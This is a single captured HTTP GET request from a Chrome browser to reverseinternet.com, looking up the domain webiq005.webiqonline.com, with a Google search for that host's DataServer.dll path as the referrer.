GET /domain/webiq005.webiqonline.com HTTP/1.1 Host: reverseinternet.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://www.google.com/search?sclient=psy-ab&hl=en&source=hp&q=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&pbx=1&oq=%22webiq005.webiqonline.com%2FWebIQ%2FDataServer%2FDataServer.dll%3F%22&aq=f&aqi=&aql=&gs_sm=e&gs_upl=104268l104268l0l104850l1l1l0l0l0l0l0l0ll0l0&bav=on.2,or.r_gc.r_pw.&biw=1096&bih=877&ech=1&psi=HT6DTvuUKOrUiALp0cmODQ.1317223987517.5&emsg=NCSR&noj=1&ei=Hz6DTp6aIKfViALlp8GcDQ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3